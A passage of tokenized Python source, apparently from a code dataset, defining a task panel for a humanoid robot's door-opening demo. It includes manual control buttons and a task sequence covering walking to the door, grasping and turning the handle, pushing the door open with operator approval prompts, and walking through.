"'", "Un", "-", "reach", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Un", "Reach", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Pre", "-", "chop", " ", "out", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Pre", "Cho", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Cho", "p", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Cho", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Un", "-", "chop", "'_", ",_", "functools_", "._", "partial_", "(_", "self_", "._", "door", "Demo", "_", "._", "plan", "Cho", "p_", ",_", "delta", "X_", "=_", "-_", "0.1_", ",_", "delta", "Y_", "=_", "-_", "0.1_", ",_", "delta", "Z_", "=_", "0.1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Turn", " ", "more", "'_", ",_", "functools_", "._", "partial_", "(_", "self_", "._", "door", "Demo", "_", "._", "plan", "Handle", "Turn", "_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Turn", " ", "less", "'_", ",_", "functools_", "._", "partial_", "(_", "self_", "._", "door", "Demo", "_", "._", "plan", "Handle", "Turn", "_", ",_", "-_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Twi", "st", " ", "arm", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Doo", "r", "Push", "Open", "Twi", "st_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Commi", "t", " ", "Mani", "p", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "commit", "Mani", "p", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Sto", "p", " ", "push", "ing", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "stop", "Push", "ing_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Side_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "params_", "._", "get", "Proper", "ty", "Enum", "Value_", "(_", "'", "Hand", "'_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open", "Pin", "ch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rt_", "._", "Open", "Hand_", "(_", "side_", "=_", "self_", "._", "get", "Side_", "(_", ")_", "._", "capitalize_", "(_", ")_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ")_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close", "Pin", "ch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rt_", "._", "Clos", "e", "Hand_", "(_", "side_", "=_", "self_", "._", "get", "Side_", "(_", ")_", "._", "capitalize_", "(_", ")_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ")_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Default", "Properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Hand", "'_", ",_", "0_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "enum", "Names_", "=_", "[_", "'", "Le", "ft", "'_", ",_", "'", "Rig", "ht", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Pre", "-", "chop", " ", "widt", "h", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Width_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "single", "Step_", "=_", "0.01_", ",_", "decimals_", "=_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Pre", "-", "chop", " ", "depth", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Depth_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "single", "Step_", "=_", "0.01_", ",_", "decimals_", "=_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Pre", "-", "chop", " ", "height", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Height_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "single", "Step_", "=_", "0.01_", ",_", "decimals_", "=_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Cho", "p", " ", "distance", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "chop", "Distance_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "single", "Step_", "=_", "0.01_", ",_", "decimals_", "=_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "._", "add", "Property_", "(_", "'", "Cho", "p", " ", "side", "way", "s", " ", "distance", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "chop", "Side", "way", "s", "Distance_", ",_", "attributes_", "=_", "om_", "._", "Proper", "ty", "Attributes_", "(_", "single", "Step_", "=_", "0.01_", ",_", "decimals_", "=_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "sync", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Proper", "ty", "Changed_", "(_", "self_", ",_", "property", "Set_", ",_", "property", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "property", "Name_", "==_", "'", "Hand", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "task", "Tree_", "._", "remove", "All", "Tasks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Tasks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "find", "Doo", "r", "Handle", "Aff", "orda", "nce_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "sync", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "sync", "Properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Demo", "_", "._", "gra", "spin", "g", "Hand_", "=_", "self_", "._", "params_", "._", "get", "Proper", "ty", "Enum", "Value_", "(_", "'", "Hand", "'_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "ik", "Plann", "er_", "._", "reach", "ing", "Side_", "=_", "self_", "._", "door", "Demo", "_", "._", "gra", "spin", "g", "Hand_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", "._", "door", "Demo", "_", ",_", "'", "door", "Handle", "Aff", "orda", "nce", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Demo", "_", "._", "compute", "Doo", "r", "Handle", "Gra", "sp", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "chop", "Distance_", "=_", "self_", "._", "params_", "._", "get", "Property_", "(_", "'", "Cho", "p", " ", "distance", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "chop", "Side", "way", "s", "Distance_", "=_", "self_", "._", "params_", "._", "get", "Property_", "(_", "'", "Cho", "p", " ", "side", "way", "s", " ", "distance", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Width_", "=_", "self_", "._", "params_", "._", "get", "Property_", "(_", "'", "Pre", "-", "chop", " ", "widt", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Depth_", "=_", "self_", "._", "params_", "._", "get", "Property_", "(_", "'", "Pre", "-", "chop", " ", "depth", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "pre", "Cho", "p", "Height_", "=_", "self_", "._", "params_", "._", "get", "Property_", "(_", "'", "Pre", "-", "chop", " ", "height", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Tasks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "helpers_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "folder_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "Task_", "(_", "task_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "parent_", "or_", "self_", "._", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "task", "Tree_", "._", "on", "Add", "Task_", "(_", "task_", ",_", "copy_", "=_", "False_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Func_", "(_", "func_", ",_", "name_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "Call", "back", "Task_", "(_", "callback_", "=_", "func_", ",_", "name_", "=_", "name_", ")_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Folder_", "(_", "name_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "folder_", "=_", "self_", "._", "task", "Tree_", "._", "add", "Group_", "(_", "name_", ",_", "parent_", "=_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "self_", "._", "door", "Demo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "task", "Tree_", "._", "remove", "All", "Tasks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "side_", "=_", "self_", "._", "params_", "._", "get", "Proper", "ty", "Enum", "Value_", "(_", "'", "Hand", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "tasks_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "prep_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Prep", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "left", " ", "hand", "'_", ",_", "side_", "=_", "'", "Le", "ft", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "right", " ", "hand", "'_", ",_", "side_", "=_", "'", "Rig", "ht", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Plan", "Post", "ure", "Goal", "(", "name", "='", "plan", " ", "walk", " ", "post", "ure", "',", " ", "post", "ure", "Group", "='", "General", "',", " ", "post", "ure", "Name", "='", "safe", " ", "nominal", "',", " ", "side", "='", "Default", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Check", "Plan", "Info", "(", "name", "='", "check", " ", "manip", " ", "plan", " ", "info", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Commi", "t", "Manipulat", "ion", "Plan", "(", "name", "='", "execute", " ", "manip", " ", "plan", "',", " ", "plan", "Name", "='", "safe", " ", "nominal", " ", "post", "ure", " ", "plan", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Manipulat", "ion", "Plan", "Execut", "ion", "(", "name", "='", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fit_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Multi", "sense", "Li", "dar", "(", "name", "='", "wait", " ", "for", " ", "lida", "r", " ", "sweep", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "fit", " ", "door", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "fit", " ", "and", " ", "approve", " ", "door", " ", "aff", "orda", "nce", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Fin", "d", "Aff", "orda", "nce_", "(_", "name_", "=_", "'", "check", " ", "door", " ", "aff", "orda", "nce", "'_", ",_", "aff", "orda", "nce", "Name_", "=_", "'", "door", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Set", "Nec", "k", "Pitch_", "(_", "name_", "=_", "'", "set", " ", "neck", " ", "position", "'_", ",_", "angle_", "=_", "35_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "walk_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Walk", " ", "and", " ", "refi", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Request", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "plan", " ", "walk", " ", "to", " ", "door", "'_", ",_", "stance", "Frame", "Name_", "=_", "'", "door", " ", "stance", " ", "frame", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "foot", "step", "s", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "foot", "step", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "walk", " ", "to", " ", "door", "'_", ",_", "plan", "Name_", "=_", "'", "door", " ", "stance", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Walk", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "walking", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "refi", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Wait", "For", "Multi", "sense", "Li", "dar", "(", "name", "='", "wait", " ", "for", " ", "lida", "r", " ", "sweep", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "fit", " ", "door", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "fit", " ", "and", " ", "approve", " ", "door", " ", "handle", " ", "aff", "orda", "nce", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "finger", "s_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Open", "Hand_", "(_", "name_", "=_", "'", "open", " ", "hand", "'_", ",_", "side_", "=_", "side_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "add", "Mani", "p", "Task_", "(_", "name_", ",_", "plan", "Func_", ",_", "user", "Prompt_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "folder_", "=_", "add", "Folder_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "plan", "Func_", ",_", "name_", "=_", "'", "plan", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user", "Prompt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "Check", "Plan", "Info_", "(_", "name_", "=_", "'", "check", " ", "manip", " ", "plan", " ", "info", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "manip", " ", "plan", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "manipulati", "on", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Func_", "(_", "d_", "._", "commit", "Mani", "p", "Plan_", ",_", "name_", "=_", "'", "execute", " ", "manip", " ", "plan", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Manipulat", "ion", "Plan", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Rai", "se", " ", "arms", "'_", ",_", "d_", "._", "plan", "Pre", "Reach", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Rai", "se", " ", "push", "ing", " ", "hand", "'_", ",_", "d_", "._", "plan", "Doo", "r", "Tou", "ch_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "d_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Mani", "p", "Task_", "(_", "'", "Reach", "'_", ",_", "d_", "._", "plan", "Reach", "_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "self_", "._", "close", "Pin", "ch_", ",_", "name_", "=_", "'", "Pin", "ch", " ", "handle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "gra", "sp", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "the", " ", "pin", "ch", " ", "gra", "sp", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Turn", "'_", ",_", "d_", "._", "plan", "Handle", "Turn", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "handle", " ", "turn", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "handle", " ", "has", " ", "turn", "ed", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Func_", "(_", "self_", "._", "door", "Demo", "_", "._", "set", "Cho", "p", "Parameter", "s", "To", "Defaults_", ",_", "name_", "=_", "'", "re", "-", "set", " ", "chop", " ", "parameter", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Func_", "(_", "self_", "._", "close", "Pin", "ch_", ",_", "name_", "=_", "'", "Clos", "e", " ", "hand", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Reach", "'_", ",_", "d_", "._", "plan", "Reach", "_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Cho", "p", "'_", ",_", "d_", "._", "plan", "Cho", "p_", ",_", "user", "Prompt_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "aja", "r", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "door", " ", "position", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "door", " ", "is", " ", "aja", "r", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "aja", "r", " ", "again", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "d_", "._", "use", "Pin", "ch", "Gra", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Mani", "p", "Task_", "(_", "'", "Lif", "t", "'_", ",_", "d_", "._", "plan", "Handle", "Push", "Lif", "t_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Open", " ", "hand", "'_", ",_", "side_", "=_", "side_", ",_", "mode_", "=_", "'", "Pin", "ch", "'_", ",_", "amount_", "=_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Push", " ", "open", "'_", ",_", "d_", "._", "plan", "Doo", "r", "Push", "Open_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "Appro", "ve", " ", "door", " ", "position", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "'", "Ple", "ase", " ", "verify", " ", "tha", "t", " ", "the", " ", "door", " ", "is", " ", "open", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Clos", "e", " ", "hand", "'_", ",_", "side_", "=_", "side_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Mani", "p", "Task_", "(_", "'", "Tu", "ck", " ", "Arm", "s", "'_", ",_", "d_", "._", "plan", "Tu", "ck", "Arm", "s_", ",_", "user", "Prompt_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "Clos", "e", " ", "fis", "t", "'_", ",_", "side_", "=_", "side_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "walk_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Walk", " ", "through", " ", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Task", "(", "rt", ".", "Request", "Foot", "step", "Plan", "(", "name", "='", "plan", " ", "walk", " ", "through", " ", "door", "',", " ", "stance", "Frame", "Name", "='", "door", " ", "walk", " ", "frame", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Func_", "(_", "d_", "._", "plan", "Foot", "step", "s", "Through", "Doo", "r", "Manu", "al_", ",_", "name_", "=_", "'", "plan", " ", 